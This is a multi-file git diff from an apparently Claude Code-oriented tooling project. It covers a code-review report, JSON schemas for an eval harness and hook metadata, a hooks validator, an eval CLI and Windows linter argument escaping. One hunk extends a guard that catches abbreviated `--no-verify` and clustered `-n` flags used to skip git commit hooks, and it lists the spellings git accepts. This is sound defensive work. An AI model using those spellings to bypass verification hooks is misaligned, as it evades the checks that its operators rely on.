- **No input sanitization on session task strings.** The task string is passed directly to `claude --print`. If the task contains shell metacharacters, it could be exploited depending on how `Command` handles argument quoting. Currently safe (arguments are not shell-interpreted), but worth auditing.
|
||||
|
||||
## 6. Dependency Health
|
||||
|
||||
| Crate | Version | Latest | Notes |
|
||||
|-------|---------|--------|-------|
|
||||
| ratatui | 0.29 | **0.30.0** | Update available |
|
||||
| crossterm | 0.28 | **0.29.0** | Update available |
|
||||
| rusqlite | 0.32 | **0.39.0** | Update available |
|
||||
| tokio | 1 | **1.50.0** | Update available |
|
||||
| serde | 1 | **1.0.228** | Update available |
|
||||
| clap | 4 | **4.6.0** | Update available |
|
||||
| chrono | 0.4 | **0.4.44** | Update available |
|
||||
| uuid | 1 | **1.22.0** | Update available |
|
||||
|
||||
`git2` is still present in `Cargo.toml` even though the `worktree` module shells out to the `git` CLI. Several other dependencies are outdated; either remove `git2` or start using it before the next release.
|
||||
|
||||
## 7. Recommendations (Prioritized)
|
||||
|
||||
### P0 — Quick Wins
|
||||
|
||||
1. **Add environment variable support to `Config::load()`** — `ECC_DB_PATH`, `ECC_WORKTREE_ROOT`, `ECC_DEFAULT_AGENT`. Standard practice for CLI tools.
|
||||
|
||||
### P1 — Feature Completions
|
||||
|
||||
2. **Implement `comms::receive()` / `comms::poll()`** — read unread messages from the `messages` table, optionally with a `broadcast` channel for real-time delivery. Wire it into the dashboard.
|
||||
3. **Build the new-session dialog in the TUI** — modal form with task input, agent selector, worktree toggle. Should call `session::manager::create_session()`.
|
||||
4. **Add aggregate metrics** — total cost, average session duration, tool call frequency, cost per session. Show in the Metrics pane.
|
||||
|
||||
### P2 — Robustness
|
||||
|
||||
5. **Expand integration coverage for `manager.rs`, `runtime.rs`, and `daemon.rs`** — the repo now has baseline tests here, but it still needs failure-path coverage around process crashes, timeouts, and cleanup edge cases.
|
||||
6. **Add first-party tests for `worktree/mod.rs` and `comms/mod.rs`** — these are still uncovered and back important orchestration features.
|
||||
7. **Add daemon health reporting** — PID file, structured logging, graceful shutdown via signal handler.
|
||||
8. **Task string security audit** — The session task uses `claude --print` via `tokio::process::Command`. Verify arguments are never shell-interpreted. Checklist: confirm `Command` arg usage, threat-model metacharacter injection, input validation/escaping strategy, logging of raw inputs, and automated tests. Re-audit if invocation code changes.
|
||||
9. **Break up `dashboard.rs`** — extract SessionsPane, OutputPane, MetricsPane, LogPane into separate files under `tui/panes/`.
|
||||
|
||||
### P3 — Extensibility
|
||||
|
||||
10. **Multi-agent support** — make `agent_program()` pluggable. Add `codex`, `opencode`, `custom` agent types.
|
||||
11. **Config validation** — validate risk thresholds sum correctly, budget values are positive, paths exist.
|
||||
|
||||
## 8. Comparison with Ratatui 0.29 Best Practices
|
||||
|
||||
The codebase follows ratatui conventions well:
|
||||
- Uses `TableState` for stateful selection (correct pattern)
|
||||
- Custom `Widget` trait implementation for `TokenMeter` (idiomatic)
|
||||
- `tick()` method for periodic state sync (standard)
|
||||
- `broadcast::channel` for real-time output events (appropriate)
|
||||
|
||||
**Minor deviations:**
|
||||
- The `Dashboard` struct directly holds `StateStore` (SQLite connection). Ratatui best practice is to keep the state store behind an `Arc<Mutex<>>` to allow background updates. Currently the TUI owns the DB exclusively, which blocks adding a background metrics refresh task.
|
||||
- No `Clear` widget usage when rendering the help overlay — could cause rendering artifacts on some terminals.
|
||||
|
||||
## 9. Risk Assessment
|
||||
|
||||
| Risk | Likelihood | Impact | Mitigation |
|
||||
|------|-----------|--------|------------|
|
||||
| Dashboard file exceeds 1500 lines (projected) | High | Medium | At 1,273 lines currently (Section 2); extract panes into modules before it grows further |
|
||||
| SQLite lock contention | Low | High | DbWriter pattern already handles this |
|
||||
| No agent diversity | Medium | Medium | Pluggable agent support |
|
||||
| Task-string handling assumptions drift over time | Medium | Medium | Keep `Command` argument handling shell-free, document the threat model, and add regression tests for metacharacter-heavy task input |
|
||||
|
||||
---
|
||||
|
||||
**Bottom line:** ECC2 is a well-structured Rust project with clean error handling, good separation of concerns, and strong security features (risk scoring). The main gaps are incomplete features (comms, new-session dialog, single agent) rather than architectural problems. The codebase is ready for feature work on top of the solid foundation.
|
||||
@@ -59,11 +59,17 @@ ALWAYS validate at system boundaries:
|
||||
|
||||
## Naming Conventions
|
||||
|
||||
- Variables and functions: `camelCase` with descriptive names
|
||||
- Booleans: prefer `is`, `has`, `should`, or `can` prefixes
|
||||
- Interfaces, types, and components: `PascalCase`
|
||||
- Constants: `UPPER_SNAKE_CASE`
|
||||
- Custom hooks: `camelCase` with a `use` prefix
|
||||
> **Language note**: This rule may be overridden by language-specific rules for
|
||||
> languages where a pattern is not idiomatic. Casing and framework-specific
|
||||
> prefixes belong to the applicable language or package rule.
|
||||
|
||||
Language-independent:
|
||||
|
||||
- Descriptive names: the name says what the thing holds or does, without a comment.
|
||||
- Boolean names read clearly as claims under the applicable language or package
|
||||
convention.
|
||||
- Where the language draws the distinction, constants and types are visually
|
||||
distinct from ordinary values in the form its language or package rule defines.
|
||||
|
||||
## Code Smells to Avoid
|
||||
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
{
|
||||
"$schema": "http://json-schema.org/draft-07/schema#",
|
||||
"$id": "https://ecc.tools/schemas/capsule-envelope.schema.json",
|
||||
"title": "Capsule Envelope v1",
|
||||
"description": "One append-only journal entry recorded by the ECC eval-harness capsule. Mirrors scripts/lib/eval-harness/envelope.js, which is the enforcing implementation.",
|
||||
"type": "object",
|
||||
"additionalProperties": false,
|
||||
"required": [
|
||||
"schema",
|
||||
"run_id",
|
||||
"capsule_id",
|
||||
"seq",
|
||||
"ts",
|
||||
"lineage",
|
||||
"kind",
|
||||
"effect_class",
|
||||
"harness_version",
|
||||
"task_family",
|
||||
"parent_hash",
|
||||
"entry_hash",
|
||||
"payload"
|
||||
],
|
||||
"properties": {
|
||||
"schema": { "const": "capsule-envelope/v1" },
|
||||
"run_id": { "type": "string", "pattern": "^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$" },
|
||||
"capsule_id": { "type": "string", "pattern": "^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$" },
|
||||
"seq": { "type": "integer", "minimum": 0, "description": "Zero-based position in the journal. Must equal the line index." },
|
||||
"ts": { "type": "string", "format": "date-time" },
|
||||
"lineage": { "type": "string", "enum": ["plan", "attempt", "interaction", "environment", "strategy"] },
|
||||
"kind": { "type": "string", "pattern": "^[a-z][a-z0-9_.-]{0,63}$" },
|
||||
"effect_class": {
|
||||
"type": "string",
|
||||
"enum": ["SE0", "SE1", "SE2", "SE3", "SE4"],
|
||||
"description": "SE0 read-only; SE1 reversible local write in the capsule root; SE2 sandboxed mutation, no live network writes; SE3 append-only remote evidence; SE4 economic or external effect."
|
||||
},
|
||||
"harness_version": { "type": "string", "minLength": 1 },
|
||||
"task_family": { "type": "string", "minLength": 1 },
|
||||
"parent_hash": { "type": "string", "pattern": "^[0-9a-f]{64}$", "description": "entry_hash of the previous entry, or 64 zeros for the first entry." },
|
||||
"entry_hash": { "type": "string", "pattern": "^[0-9a-f]{64}$", "description": "sha256 of the canonical JSON of this entry with entry_hash removed." },
|
||||
"payload": {
|
||||
"type": "object",
|
||||
"description": "Default-deny allowlisted properties only. No secrets, credentials, or raw reasoning text.",
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"task_id": { "type": "string" },
|
||||
"task_family": { "type": "string" },
|
||||
"tool": { "type": "string" },
|
||||
"tool_call_id": { "type": "string" },
|
||||
"args_hash": { "type": "string" },
|
||||
"response_hash": { "type": "string" },
|
||||
"status": { "type": "string" },
|
||||
"exit_code": { "type": ["integer", "null"] },
|
||||
"duration_ms": { "type": "number" },
|
||||
"tokens_in": { "type": "integer" },
|
||||
"tokens_out": { "type": "integer" },
|
||||
"cost_usd": { "type": "number" },
|
||||
"model": { "type": "string" },
|
||||
"message": { "type": "string" },
|
||||
"note": { "type": "string" },
|
||||
"decision": { "type": "string" },
|
||||
"reason": { "type": "string" },
|
||||
"score": { "type": "number" },
|
||||
"passed": { "type": "integer" },
|
||||
"failed": { "type": "integer" },
|
||||
"total": { "type": "integer" },
|
||||
"variant": { "type": "string" },
|
||||
"digest": { "type": "string" },
|
||||
"path": { "type": "string" },
|
||||
"fixture_key": { "type": "string" },
|
||||
"stage": { "type": "string" },
|
||||
"verdict": { "type": "string" },
|
||||
"hits": { "type": "integer" },
|
||||
"branch_id": { "type": "string" },
|
||||
"parent_branch_id": { "type": "string" },
|
||||
"summary": { "type": "string" }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
{
|
||||
"$schema": "http://json-schema.org/draft-07/schema#",
|
||||
"title": "ECC Hooks Metadata",
|
||||
"description": "Stable ids and human-readable descriptions for the matcher entries in hooks/hooks.json. Kept in a sidecar because Claude Code reports any key outside its own hooks schema as an unknown key when the plugin loads.",
|
||||
"type": "object",
|
||||
"required": [
|
||||
"entries"
|
||||
],
|
||||
"properties": {
|
||||
"$schema": {
|
||||
"type": "string"
|
||||
},
|
||||
"entries": {
|
||||
"type": "object",
|
||||
"description": "Event name to an array aligned by index with the same event's entries in hooks.json.",
|
||||
"propertyNames": {
|
||||
"enum": [
|
||||
"SessionStart",
|
||||
"UserPromptSubmit",
|
||||
"PreToolUse",
|
||||
"PermissionRequest",
|
||||
"PostToolUse",
|
||||
"PostToolUseFailure",
|
||||
"Notification",
|
||||
"SubagentStart",
|
||||
"Stop",
|
||||
"SubagentStop",
|
||||
"PreCompact",
|
||||
"InstructionsLoaded",
|
||||
"TeammateIdle",
|
||||
"TaskCompleted",
|
||||
"ConfigChange",
|
||||
"WorktreeCreate",
|
||||
"WorktreeRemove",
|
||||
"SessionEnd"
|
||||
]
|
||||
},
|
||||
"additionalProperties": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"type": "object",
|
||||
"required": [
|
||||
"id",
|
||||
"fingerprint"
|
||||
],
|
||||
"properties": {
|
||||
"id": {
|
||||
"type": "string",
|
||||
"pattern": "\\S",
|
||||
"description": "Stable, globally unique identifier for the matcher entry at this index."
|
||||
},
|
||||
"description": {
|
||||
"type": "string"
|
||||
},
|
||||
"fingerprint": {
|
||||
"type": "string",
|
||||
"pattern": "^[0-9a-f]{12}$",
|
||||
"description": "First 12 hex characters of the SHA-256 of the matcher entry (matcher + hooks, keys sorted) at this index in hooks.json. Binds the sidecar entry to a specific matcher so a reorder is detected. Regenerate with `node scripts/ci/validate-hooks.js --update-fingerprints`."
|
||||
}
|
||||
},
|
||||
"additionalProperties": false
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"additionalProperties": false
|
||||
}
|
||||
@@ -8,8 +8,49 @@ const path = require('path');
|
||||
const vm = require('vm');
|
||||
const Ajv = require('ajv');
|
||||
|
||||
/**
|
||||
* Resolve a module by its repo-relative path.
|
||||
*
|
||||
* Test harnesses copy this validator to the repo root before running it, so a
|
||||
* plain relative require would break. Walk up from __dirname until the module
|
||||
* is found instead.
|
||||
*
|
||||
* @param {string} repoRelativePath - e.g. 'scripts/lib/hooks-config.js'
|
||||
* @returns {string} absolute path to the module
|
||||
*/
|
||||
function resolveRepoModule(repoRelativePath) {
|
||||
let dir = __dirname;
|
||||
for (;;) {
|
||||
const candidate = path.join(dir, repoRelativePath);
|
||||
if (fs.existsSync(candidate)) {
|
||||
return candidate;
|
||||
}
|
||||
const parent = path.dirname(dir);
|
||||
if (parent === dir) {
|
||||
throw new Error(`Cannot locate ${repoRelativePath} above ${__dirname}`);
|
||||
}
|
||||
dir = parent;
|
||||
}
|
||||
}
|
||||
|
||||
const {
|
||||
METADATA_FILENAME,
|
||||
applyHooksMetadata,
|
||||
findMetadataMismatches,
|
||||
metadataPathFor,
|
||||
withRefreshedFingerprints,
|
||||
} = require(resolveRepoModule('scripts/lib/hooks-config.js'));
|
||||
|
||||
const HOOKS_FILE = path.join(__dirname, '../../hooks/hooks.json');
|
||||
const HOOKS_SCHEMA_PATH = path.join(__dirname, '../../schemas/hooks.schema.json');
|
||||
const METADATA_SCHEMA_PATH = path.join(__dirname, '../../schemas/hooks-metadata.schema.json');
|
||||
// `--update-fingerprints` rewrites the sidecar's fingerprints from the current
|
||||
// hooks.json instead of validating. Run it after changing a hook command.
|
||||
const UPDATE_FINGERPRINTS = process.argv.includes('--update-fingerprints');
|
||||
// Keys Claude Code's own hooks schema rejects. Keeping them out of hooks.json is
|
||||
// what stops "unknown keys ... ignored" warnings when the plugin loads.
|
||||
const HARNESS_UNKNOWN_ROOT_KEYS = ['$schema'];
|
||||
const HARNESS_UNKNOWN_MATCHER_KEYS = ['id', 'description'];
|
||||
const VALID_EVENTS = [
|
||||
'SessionStart',
|
||||
'UserPromptSubmit',
|
||||
@@ -124,6 +165,78 @@ function validateHookEntry(hook, label) {
|
||||
return hasErrors;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reject keys the Claude Code harness does not understand.
|
||||
*
|
||||
* Claude Code validates a plugin's hooks.json against its own schema and prints
|
||||
* every unrecognised key at load time. Once a hooks.metadata.json sidecar is
|
||||
* present it owns the stable ids and descriptions, so hooks.json must not
|
||||
* carry them as well.
|
||||
*
|
||||
* @param {object} data - Parsed hooks.json.
|
||||
* @returns {boolean} true if errors were found
|
||||
*/
|
||||
function validateHarnessCompatibility(data) {
|
||||
if (!data || typeof data !== 'object' || Array.isArray(data)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
let hasErrors = false;
|
||||
for (const key of HARNESS_UNKNOWN_ROOT_KEYS) {
|
||||
if (key in data) {
|
||||
console.error(
|
||||
`ERROR: hooks.json must not define "${key}" - Claude Code reports it as an unknown key`
|
||||
);
|
||||
hasErrors = true;
|
||||
}
|
||||
}
|
||||
|
||||
const events = data.hooks && typeof data.hooks === 'object' && !Array.isArray(data.hooks)
|
||||
? data.hooks
|
||||
: {};
|
||||
for (const [eventType, matchers] of Object.entries(events)) {
|
||||
if (!Array.isArray(matchers)) continue;
|
||||
matchers.forEach((matcher, index) => {
|
||||
if (!matcher || typeof matcher !== 'object') return;
|
||||
for (const key of HARNESS_UNKNOWN_MATCHER_KEYS) {
|
||||
if (key in matcher) {
|
||||
console.error(
|
||||
`ERROR: hooks.json ${eventType}[${index}] must not define "${key}" - `
|
||||
+ `move it to ${METADATA_FILENAME}`
|
||||
);
|
||||
hasErrors = true;
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
return hasErrors;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a parsed document against a JSON schema file, if the schema exists.
|
||||
*
|
||||
* @param {object} document - Parsed JSON to validate.
|
||||
* @param {string} schemaPath - Path to the schema; skipped when absent.
|
||||
* @param {string} label - Name used in error output.
|
||||
* @returns {boolean} true if errors were found
|
||||
*/
|
||||
function validateAgainstSchema(document, schemaPath, label) {
|
||||
if (!fs.existsSync(schemaPath)) {
|
||||
return false;
|
||||
}
|
||||
const schema = JSON.parse(fs.readFileSync(schemaPath, 'utf-8'));
|
||||
const ajv = new Ajv({ allErrors: true });
|
||||
const validate = ajv.compile(schema);
|
||||
if (validate(document)) {
|
||||
return false;
|
||||
}
|
||||
for (const err of validate.errors) {
|
||||
console.error(`ERROR: ${label} schema: ${err.instancePath || '/'} ${err.message}`);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
function validateHooks() {
|
||||
if (!fs.existsSync(HOOKS_FILE)) {
|
||||
console.log('No hooks.json found, skipping validation');
|
||||
@@ -138,18 +251,51 @@ function validateHooks() {
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// Validate against JSON schema
|
||||
if (fs.existsSync(HOOKS_SCHEMA_PATH)) {
|
||||
const schema = JSON.parse(fs.readFileSync(HOOKS_SCHEMA_PATH, 'utf-8'));
|
||||
const ajv = new Ajv({ allErrors: true });
|
||||
const validate = ajv.compile(schema);
|
||||
const valid = validate(data);
|
||||
if (!valid) {
|
||||
for (const err of validate.errors) {
|
||||
console.error(`ERROR: hooks.json schema: ${err.instancePath || '/'} ${err.message}`);
|
||||
// Without a sidecar, hooks.json keeps its legacy inline ids. With one, the
|
||||
// sidecar is the sole owner of id/description and hooks.json must stay
|
||||
// within Claude Code's schema.
|
||||
let metadata = null;
|
||||
const metadataPath = metadataPathFor(HOOKS_FILE);
|
||||
if (fs.existsSync(metadataPath)) {
|
||||
try {
|
||||
metadata = JSON.parse(fs.readFileSync(metadataPath, 'utf-8'));
|
||||
} catch (e) {
|
||||
console.error(`ERROR: Invalid JSON in ${METADATA_FILENAME}: ${e.message}`);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
if (validateHarnessCompatibility(data)) {
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
if (UPDATE_FINGERPRINTS) {
|
||||
try {
|
||||
metadata = withRefreshedFingerprints(data, metadata);
|
||||
} catch (error) {
|
||||
console.error(`ERROR: ${error.message}`);
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
if (validateAgainstSchema(metadata, METADATA_SCHEMA_PATH, METADATA_FILENAME)) {
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
const mismatches = findMetadataMismatches(data, metadata);
|
||||
if (mismatches.length > 0) {
|
||||
for (const mismatch of mismatches) {
|
||||
console.error(`ERROR: ${mismatch}`);
|
||||
}
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// Validate the merged view so the id/description rules below still apply.
|
||||
data = applyHooksMetadata(data, metadata);
|
||||
}
|
||||
|
||||
// Validate against JSON schema
|
||||
if (validateAgainstSchema(data, HOOKS_SCHEMA_PATH, 'hooks.json')) {
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// Support both object format { hooks: {...} } and array format
|
||||
@@ -254,6 +400,11 @@ function validateHooks() {
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
if (UPDATE_FINGERPRINTS && metadata) {
|
||||
fs.writeFileSync(metadataPath, `${JSON.stringify(metadata, null, 2)}\n`);
|
||||
console.log(`Updated fingerprints in ${METADATA_FILENAME}`);
|
||||
}
|
||||
|
||||
console.log(`Validated ${totalMatchers} hook matchers`);
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env node
|
||||
'use strict';
|
||||
const { normalizeManifest, buildInventory, collectResources, collectTaskFiles, readJson } = require('./lib/coordination-inventory');
|
||||
|
||||
function main(argv = process.argv.slice(2)) {
|
||||
if (argv.length === 1 && ['--help', '-h'].includes(argv[0])) {
|
||||
process.stdout.write('Usage: node scripts/coordination-inventory.js [--manifest file.json] [--coordination directory] [--live] [--now ISO-UTC]\nRead-only JSON inventory. Live probes only OS memory and declared PIDs. No processes are executed from input.\n');
|
||||
return;
|
||||
}
|
||||
const options = {};
|
||||
for (let i = 0; i < argv.length; i += 1) {
|
||||
const flag = argv[i];
|
||||
if (flag === '--live' && !options.live) options.live = true;
|
||||
else if (['--manifest', '--coordination', '--now'].includes(flag) && !options[flag.slice(2)] && argv[i+1] && !argv[i+1].startsWith('--')) options[flag.slice(2)] = argv[++i];
|
||||
else throw new Error('Invalid inventory arguments. Use --help.');
|
||||
}
|
||||
let manifest = options.manifest ? readJson(options.manifest) : { version: 1, tasks: [], repositories: [], leases: [] };
|
||||
let discovery = null;
|
||||
if (options.coordination) {
|
||||
discovery = collectTaskFiles(options.coordination);
|
||||
// Duplicate IDs are rejected; never silently replace declared ownership.
|
||||
manifest = { ...manifest, tasks: [...(manifest.tasks || []), ...discovery.tasks] };
|
||||
}
|
||||
const normalized = normalizeManifest(manifest);
|
||||
const resources = options.live ? collectResources(normalized.tasks) : undefined;
|
||||
const report = buildInventory(manifest, { now: options.now, resources });
|
||||
if (discovery) report.discovery = { status: discovery.status, unreadable: discovery.unreadable };
|
||||
process.stdout.write(`${JSON.stringify(report, null, 2)}\n`);
|
||||
}
|
||||
if (require.main === module) {
|
||||
try { main(); } catch { process.stderr.write('Inventory failed: invalid arguments or unreadable/invalid input. Use --help.\n'); process.exitCode = 1; }
|
||||
}
|
||||
module.exports = { main };
|
||||
@@ -19,6 +19,7 @@ const {
|
||||
isAllowedOrigin,
|
||||
} = require('./lib/loopback-guard');
|
||||
const { normalizeAgentTools } = require('./lib/agent-tools');
|
||||
const { readHooksConfig } = require('./lib/hooks-config');
|
||||
|
||||
const DEFAULT_HOST = '127.0.0.1';
|
||||
|
||||
@@ -129,7 +130,9 @@ function loadHooks(_root) {
|
||||
const hooksPath = path.join(root, 'hooks', 'hooks.json');
|
||||
if (!fs.existsSync(hooksPath)) return [];
|
||||
try {
|
||||
const data = JSON.parse(fs.readFileSync(hooksPath, 'utf8'));
|
||||
// Ids and descriptions live in hooks/hooks.metadata.json so that hooks.json
|
||||
// stays within the key set Claude Code's hooks schema accepts.
|
||||
const data = readHooksConfig(hooksPath);
|
||||
const hooks = [];
|
||||
for (const [eventName, entries] of Object.entries(data.hooks || {})) {
|
||||
for (const entry of entries || []) {
|
||||
|
||||
@@ -0,0 +1,147 @@
|
||||
#!/usr/bin/env node
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* ECC eval-harness CLI.
|
||||
*
|
||||
* node scripts/eval-harness.js capsule verify <dir>
|
||||
* node scripts/eval-harness.js capsule project <dir>
|
||||
* node scripts/eval-harness.js capsule export <dir> <out-dir>
|
||||
* node scripts/eval-harness.js gate run <gate.config.json> [--work-dir <dir>] [--capsule <dir>]
|
||||
* node scripts/eval-harness.js receipt build <capsule-dir> [--artifact <file>] [--gate <gate-receipt.json>] [--out <file>]
|
||||
* node scripts/eval-harness.js receipt verify <receipt.json> <capsule-dir> [--artifact <file>] [--gate <gate-receipt.json>]
|
||||
* node scripts/eval-harness.js example
|
||||
*
|
||||
* Gate execution is unavailable: gate.isolation_required (exit 1).
|
||||
* Exit codes: 0 verified, 1 failed verification or unavailable, 2 usage error.
|
||||
*/
|
||||
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
const { spawnSync } = require('child_process');
|
||||
|
||||
const harness = require('./lib/eval-harness');
|
||||
|
||||
function usage(message) {
|
||||
if (message) {
|
||||
process.stderr.write(`eval-harness: ${message}\n`);
|
||||
}
|
||||
const header = fs.readFileSync(__filename, 'utf8').split('\n').slice(3, 15).map((line) => line.replace(/^ \*\s?/, '')).join('\n');
|
||||
process.stderr.write(`${header}\n`);
|
||||
process.exit(2);
|
||||
}
|
||||
|
||||
function flag(args, name) {
|
||||
const indices = args.flatMap((value, index) => value === name ? [index] : []);
|
||||
for (const index of indices) {
|
||||
const value = args[index + 1];
|
||||
if (!value || value.startsWith('--')) usage(`${name} needs a value`);
|
||||
}
|
||||
if (indices.length > 1) usage(`${name} may only be supplied once`);
|
||||
return indices.length ? args[indices[0] + 1] : undefined;
|
||||
}
|
||||
|
||||
function print(value) {
|
||||
process.stdout.write(JSON.stringify(value, null, 2) + '\n');
|
||||
}
|
||||
|
||||
function readJson(filePath) {
|
||||
return JSON.parse(fs.readFileSync(path.resolve(filePath), 'utf8'));
|
||||
}
|
||||
|
||||
function runExample(action) {
|
||||
const script = path.join(__dirname, '..', 'examples', 'eval-harness', 'run-example.js');
|
||||
const result = spawnSync(process.execPath, [script, ...(action ? [action] : [])], { stdio: 'inherit' });
|
||||
if (result.error) {
|
||||
// OS errors may contain command arguments or private paths. Report only
|
||||
// this stable diagnostic, never the child error object or its message.
|
||||
process.stderr.write('eval-harness: example.spawn_failed: unable to start example process\n');
|
||||
process.exit(1);
|
||||
}
|
||||
process.exit(result.status === null ? 1 : result.status);
|
||||
}
|
||||
|
||||
function runCapsule(action, rest) {
|
||||
const dir = rest[0];
|
||||
if (!dir) usage('capsule commands need a capsule directory');
|
||||
if (action === 'verify') {
|
||||
const result = harness.capsule.verify(dir);
|
||||
print(result);
|
||||
process.exit(result.ok ? 0 : 1);
|
||||
}
|
||||
if (action === 'project') {
|
||||
print(harness.capsule.writeProjection(dir));
|
||||
return;
|
||||
}
|
||||
if (action === 'export') {
|
||||
if (!rest[1]) usage('capsule export needs an output directory');
|
||||
print(harness.capsule.exportBundle(dir, rest[1]));
|
||||
return;
|
||||
}
|
||||
usage(`unknown capsule action ${action}`);
|
||||
}
|
||||
|
||||
function runGate(action, rest) {
|
||||
if (action !== 'run' || !rest[0]) usage('gate run needs a config path');
|
||||
// Refuse before reading a config or creating/opening a capsule.
|
||||
harness.gate.requireSupportedIsolation();
|
||||
}
|
||||
|
||||
function receiptOptions(rest) {
|
||||
// Validate every value option before any file read or producer write.
|
||||
return {
|
||||
artifact: flag(rest, '--artifact'),
|
||||
gate: flag(rest, '--gate'),
|
||||
out: flag(rest, '--out'),
|
||||
};
|
||||
}
|
||||
|
||||
function buildReceipt(rest, options) {
|
||||
const dir = rest[0];
|
||||
if (!dir) usage('receipt build needs a capsule directory');
|
||||
const receipt = harness.receipt.buildReceipt(dir, {
|
||||
artifact_path: options.artifact,
|
||||
gate_receipt: options.gate ? readJson(options.gate) : undefined,
|
||||
});
|
||||
if (options.out) harness.receipt.writeReceipt(receipt, options.out);
|
||||
print(receipt);
|
||||
}
|
||||
|
||||
function verifyReceipt(rest, options) {
|
||||
const [receiptPath, dir] = rest;
|
||||
if (!receiptPath || !dir) usage('receipt verify needs a receipt path and a capsule directory');
|
||||
const result = harness.receipt.verifyReceipt(readJson(receiptPath), dir, {
|
||||
artifact_path: options.artifact,
|
||||
gate_receipt: options.gate ? readJson(options.gate) : undefined,
|
||||
});
|
||||
print(result);
|
||||
process.exit(result.ok ? 0 : 1);
|
||||
}
|
||||
|
||||
function runReceipt(action, rest) {
|
||||
const options = receiptOptions(rest);
|
||||
if (action === 'build') return buildReceipt(rest, options);
|
||||
if (action === 'verify') return verifyReceipt(rest, options);
|
||||
usage(`unknown receipt action ${action}`);
|
||||
}
|
||||
|
||||
function main(argv) {
|
||||
const [group, action, ...rest] = argv;
|
||||
if (!group) usage();
|
||||
if (group === 'example') return runExample(action);
|
||||
if (group === 'capsule') return runCapsule(action, rest);
|
||||
if (group === 'gate') return runGate(action, rest);
|
||||
if (group === 'receipt') return runReceipt(action, rest);
|
||||
usage(`unknown command ${group}`);
|
||||
}
|
||||
|
||||
if (require.main === module) {
|
||||
try {
|
||||
main(process.argv.slice(2));
|
||||
} catch (error) {
|
||||
process.stderr.write(`eval-harness: ${error.code ? `${error.code}: ` : ''}${error.message}\n`);
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { main };
|
||||
@@ -78,6 +78,10 @@ const COMMIT_OPTIONS_WITH_INLINE_VALUE = [
|
||||
// must stop at this character — anything after it is the inline value,
|
||||
// not another flag.
|
||||
const COMMIT_SHORT_OPTIONS_WITH_VALUE = new Set(['m', 'F', 'C', 'c', 't']);
|
||||
// Short options whose value is OPTIONAL and must be stuck to the flag
|
||||
// (`-uno`, `-S<keyid>`). The rest of the cluster is that value, so an `n`
|
||||
// after them is not the -n flag: `git commit -uno` means --untracked-files=no.
|
||||
const COMMIT_SHORT_OPTIONS_WITH_OPTIONAL_VALUE = new Set(['u', 'S']);
|
||||
|
||||
function tokenizeShellWords(input, start = 0, end = input.length) {
|
||||
const tokens = [];
|
||||
@@ -264,6 +268,7 @@ function isCommitNoVerifyShortFlag(value) {
|
||||
const option = options.charAt(i);
|
||||
if (option === 'n') return true;
|
||||
if (COMMIT_SHORT_OPTIONS_WITH_VALUE.has(option)) return false;
|
||||
if (COMMIT_SHORT_OPTIONS_WITH_OPTIONAL_VALUE.has(option)) return false;
|
||||
}
|
||||
|
||||
return false;
|
||||
@@ -388,6 +393,16 @@ function detectGitCommand(input, start = 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* git's option parser accepts any unambiguous prefix of a long option, so
|
||||
* `--no-veri` and `--no-verif` run as --no-verify. Shorter prefixes such as
|
||||
* `--no-ver` are ambiguous with --no-verbose and git rejects them itself, so
|
||||
* refusing every prefix from `--no-v` up blocks nothing that would have run.
|
||||
*/
|
||||
function isNoVerifyLongFlag(value) {
|
||||
return value.length >= '--no-v'.length && '--no-verify'.startsWith(value);
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if the input contains a --no-verify flag for a specific git command.
|
||||
* Only inspects the portion of the input starting at `offset` (the position
|
||||
@@ -422,7 +437,7 @@ function hasNoVerifyFlag(input, command, offset) {
|
||||
}
|
||||
}
|
||||
|
||||
if (value === '--no-verify') return true;
|
||||
if (isNoVerifyLongFlag(value)) return true;
|
||||
|
||||
// For commit, -n is shorthand for --no-verify.
|
||||
if (command === 'commit' && isCommitNoVerifyShortFlag(value)) {
|
||||
|
||||
@@ -259,20 +259,83 @@ function resolveCommand(command) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const LINTER_TIMEOUT_MS = 30000;
|
||||
const UNSAFE_CMD_TOKEN = /["\0\r\n]/;
|
||||
const CMD_TOKEN_ENV_PREFIX = 'ECC_LINTER_TOKEN_';
|
||||
|
||||
function validateCmdToken(value) {
|
||||
const token = String(value);
|
||||
if (UNSAFE_CMD_TOKEN.test(token)) {
|
||||
throw new Error(`Unsafe character in Windows linter argument: ${JSON.stringify(token)}`);
|
||||
}
|
||||
return token;
|
||||
}
|
||||
|
||||
function getLinterInvocation(command, args, platform = process.platform) {
|
||||
const useCmd = platform === 'win32' && /\.(?:cmd|bat)$/i.test(command);
|
||||
|
||||
if (useCmd) {
|
||||
const environment = { ...process.env };
|
||||
for (const name of Object.keys(environment)) {
|
||||
if (name.toUpperCase().startsWith(CMD_TOKEN_ENV_PREFIX)) {
|
||||
delete environment[name];
|
||||
}
|
||||
}
|
||||
|
||||
// Keep untrusted values out of cmd.exe source. Percent expansion is
|
||||
// non-recursive, so percent signs introduced by these environment values
|
||||
// stay literal. Disabling delayed expansion likewise preserves exclamation
|
||||
